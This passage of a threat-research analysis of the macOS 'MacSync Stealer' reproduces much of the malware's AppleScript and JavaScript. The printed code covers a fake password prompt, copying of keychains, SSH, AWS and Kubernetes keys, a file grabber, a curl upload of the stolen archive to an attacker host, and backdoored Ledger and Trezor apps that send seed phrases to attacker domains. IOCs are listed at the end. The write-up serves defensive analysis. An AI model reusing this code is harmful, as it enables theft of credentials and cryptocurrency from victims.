do shell script "rm -rf " & quoted form of TREZORPATH
end try
end if
Upon execution, the script prompts the user to enter their password, and will repeatedly ask until the correct password is entered, it will then save the password to disk.
set password_entered to getpwd(username, writemind, "")
...
writeText(password_entered, writemind & "Password")
The malware enumerates Chromium-based browsers and a set of cryptocurrency wallet applications/extensions for exfiltration. The following extension IDs are checked in relation to MFA / password vaults:
eiaeiblijfjekdanodkjadfinkhbfgcd - NordPass® Password Manager & Digital Vault
aeblfdkhhhdcdjpifhhbdiojplfjncoa - 1Password – Password Manager
bfogiafebfohielmmehodmfbbebbbpei - Keeper® Password Manager & Digital Vault
nngceckbapebfimnlniiiahkandclblb - Bitwarden Password Manager
fdjamakpfbbddfjaooikfcpapjohcfmg - Dashlane — Password Manager
hdokiejnpimakedhajhdlcegeplioahd - LastPass: Free Password Manager
pnlccmojcmeohlpggmfnbbiapkmbliob - RoboForm Password Manager
ghmbeldphafepmbegfdlkpapadhbakde - Proton Pass: Free Password Manager
kmcfomidfpdkfieipokbalgegidffkal - Enpass Password Manager
bnfdmghkeppfadphbnkjcicejfepnbfe - Sticky Password manager & safe
caljgklbbfbcjjanaijlacgncafpegll - Avira Password Manager
folnjigffmbjmcjgmbbfcpleeddaedal - LogMeOnce
igkpcodhieompeloncfnbekccinhapdb - Zoho Vault - Password Manager
admmjipmmciaobhojoghlmleefbicajg - Norton Password Manager
ehpbfbahieociaeckccnklpdcmfaeegd - RememBear
epanfjkfahimkgomnigadpkobaefekcd - IronVest Extension
didegimhafipceonhjepacocaffmoppf - Passbolt - Open source password manager
oboonakemofpalcgghocfoadofidjkkk - KeePassXC-Browser
jgnfghanfbjmimbdmnjfofnbcgpkbegj - KeePassHelper Password Manager
mmhlniccooihdimnnjhamobppdhaolme - Kee - Password Manager
dbfoemgnkgieejfkaddieamagdfepnff - 2FAS Auth - Two Factor Authentication
bhghoamapcdpbohphigoooaddinpkbai - Authenticator
nngceckbapebfimnlniiiahkandclblb - Bitwarden Password Manager
lojeokmpinkpmpbakfkfpgfhpapbgdnd - Google Verified Access by Duo
ibpjepoimpcdofeoalokgpjafnjonkpc - TOTP Authenticator
gmohoglkppnemohbcgjakmgengkeaphi - 2FA Authenticator
dckgbiealcgdhgjofgcignfngijpbgba - Open Two-Factor Authenticator
gmegpkknicehidppoebnmbhndjigpica - Web2FA - Authenticator
eiokpeobbgpinbmcanngjjbklmhlepan - MFAuth - 2FA Authenticator
odfkmgboddhcgopllebhkbjhokpojigd - Authenticator Extension
ppnbnpeolgkicgegkbkbjmhlideopiji - Microsoft Single Sign On
cejfhijdfemlohmcjknpbeaohedoikpp - Secure TOTP Authenticator - 2FA Code Manager - MFA
nmhjblhloefhbhgbfkdgdpjabaocnhha - mini authenticator
iklgijhacenjgjgdnpnohbafpbmnccek - 2! Authenticator
ppkkcfblhfgmdmefkmkoomenhgecbemi - Authenticator for PC
lgndjfkadlbpaifdpbbobdodbaiaiakb - Authenticator App
bbphmbmmpomfelajledgdkgclfekilei - Authenticator app
bnfooenhhgcnhdkdjelgmmkpaemlnoek - Auto 2FA
Additionally, a large number of extensions are checked related to cryptocurrency wallets.
The malware will copy the data from these extensions, including IndexedDB, Local Extension Settings, cookies, and saved passwords.
There is functionality to exfiltrate Telegram data:
on Telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
end try
end Telegram
Keychain, SSH & Cloud keys:
on Keychains(writemind)
try
do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
end try
end Keychains
...
on CloudKeys(writemind)
try
do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
end try
end CloudKeys
File Grabber:
on FilegrabberFDA(writemind, profile)
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
set extensionsList to {"pdf", "docx", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}
repeat with src in sourceFolders
repeat with ext in extensionsList
try
set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
do shell script shellCmd
end try
end repeat
end repeat
end FilegrabberFDA
System information is collected including the Users IP which is actually hardcoded in the initial script as it’s populated from when the script is Curled.
try
writeText("MacSync Stealer\n\n", writemind & "info")
writeText("Build Tag: s3\n", writemind & "info")
writeText("Version: 1.1.2_release (x64_86 & ARM)\n", writemind & "info")
writeText("IP: [REDACTED_IP]]\n\n", writemind & "info")
writeText("Username: " & username, writemind & "info")
writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
The information is initially collected and stored in the direct /tmp/sync[RANDOM-NUMBER]
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"
The collected information is then compressed into a zip archive located at ‘/tmp/osalogging.zip’, expanded this looks like:
A fake compatibility error prompt is then shown to the victim:
The zip archive containing all of the users sensitive information is then exfiltrated via a POST request to ‘ballfrank[.]today/gate’, as was shown in the previous script:
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 ..." \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
The script then has the functionality to check for two installed applications and replace them with backdoored compotents if they exist. Ledger & Trezor. We’ll first take a look at Trezor.
Trezor Suite Application Replacement
The script checks for the presence of ‘/Applications/Ledger Wallet.app’
If this application exists on the host, it is replaced with a backdoored version downloaded from the malicious domain:
set TREZORURL to "hxxps[://]ballfrank[.]today/trezor/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set TREZORDMGPATH to "/tmp/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME
The most interesting element of the replaced Info.plist file are that the malicious domain is explicitly allowed under an ATS exception:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>ballfrank[.]today</key>
The Trezor Suite application is then replaced with a binary which seemingly has no wallet functionality, but instead a WebView loader pointing at attacker infrastructure, fingerprinted by the ‘API Key’.
100000b7c _objc_storeStrong(location: &location_11, obj: applicationDidFinishLaunching)
100000b8f id (* const var_228)(id obj) = _objc_retain
100000ba2 // hxxps[://]ballfrank[.]today/trezor/start/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514
100000ba2 id location_10 = _objc_retain(obj: &ballfrank.today/trezor URL)
100000bb2 // 5190ef1733183a0dc63fb623357f56d6
100000bb2 id location_9 = _objc_retain(obj: &API_Key_str)
100000bd6 void (* const var_1a8)(void* self, char* cmd) = _objc_msgSend
100000bdf id location_8 = _objc_msgSend(
100000bdf self: _objc_alloc(cls: clsRef_WKWebViewConfiguration), cmd: "init")
This is what the loader page looks like after executing the trojanised Trezor Suite Application:
Upon entering recovery details, they are sent via a POST request to the ‘/modules/wallets’ endpoint.
POST /modules/wallets HTTP/1.1
Host: ballfrank[.]today
Accept: */*
Sec-Fetch-Site: same-origin
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Content-Type: application/json
Origin: https://ballfrank.today
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
Referer: hxxps[://]ballfrank[.]today/trezor/12/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514
Content-Length: 177
Connection: keep-alive
Sec-Fetch-Dest: empty
Cookie: PHPSESSID=9vh6eufvm1g1e4ogo8bproigjh
{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"trezor"}
Server returns:
{"status":"success","message":"Success"}
A likely fake error message is then returned, despite the recovery seeds being successfully exfiltrated.
Ledger Backdoor
MacSync malware can target the victim’s Ledger application, if installed, by extracting a malicious App.asar and Info.plist from a ZIP archive and replacing the legitimate files.
set LEDGERURL to "hxxps[://]ballfrank[.]today/ledger/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set LEDGERNAME to "Ledger Wallet.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Wallet.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"
try
do shell script "test -d " & quoted form of LEDGERDEST
set ledger_installed to true
on error
set ledger_installed to false
end try
if ledger_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of LEDGERPATH0
set app_exists to true
on error
set app_exists to false
end try
try
do shell script "test -e " & quoted form of LEDGERPATH1
set app_exists to true
on error
set app_exists to false
end try
if app_exists then
do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
do shell script "rm -rf " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0
do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1
do shell script "codesign -f -d -s - " & quoted form of LEDGERDEST
end if
end try
end if
Upon execution of the backdoored Ledger application, it tells you there was a problem and you need to enter your recovery seed from the hardware wallet.
Unsurprisingly, the seed is then exfiltrated to an attacker controlled domain, this time, it’s: ‘main[.]ledger-gate[.]coupons’
POST /modules/wallets HTTP/1.1
Host: main.ledger-gate.coupons
Connection: keep-alive
Content-Length: 356
Cache-Control: max-age=0
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) LedgerWallet/2.133.0 Chrome/140.0.7339.133 Electron/38.2.0 Safari/537.36
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB
{"seedwords":["123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123","123"],"token":"270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514","app":"ledger","url":"file:///Applications/Ledger%20Wallet.app/Contents/Resources/app.asar/.webpack/recovery-step-3.html"}
The decompiled Electron App has the main exfiltration logic under: ‘[UNPACKED_APP.ASAR]/.webpack/recovery-step-3.html’
continueBtn.addEventListener('click', function () {
if (!this.classList.contains('active')) return;
const words = Array.from(inputs).map(i => i.value.trim());
const token = '270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514';
const targetUrl = 'hxxps[://]main[.]ledger-gate[.]coupons/modules/wallets';
fetch(targetUrl, {
method: 'POST',
cache: 'no-cache',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
seedwords: words,
token: token,
app: 'ledger',
url: location.href
})
})
.then(response => {
location.href = 'index.html';
})
.catch(err => {
location.href = 'index.html';
});
IOCs
-
ballfrank.today
-
macfilearchive.com
-
ledger-gate.coupons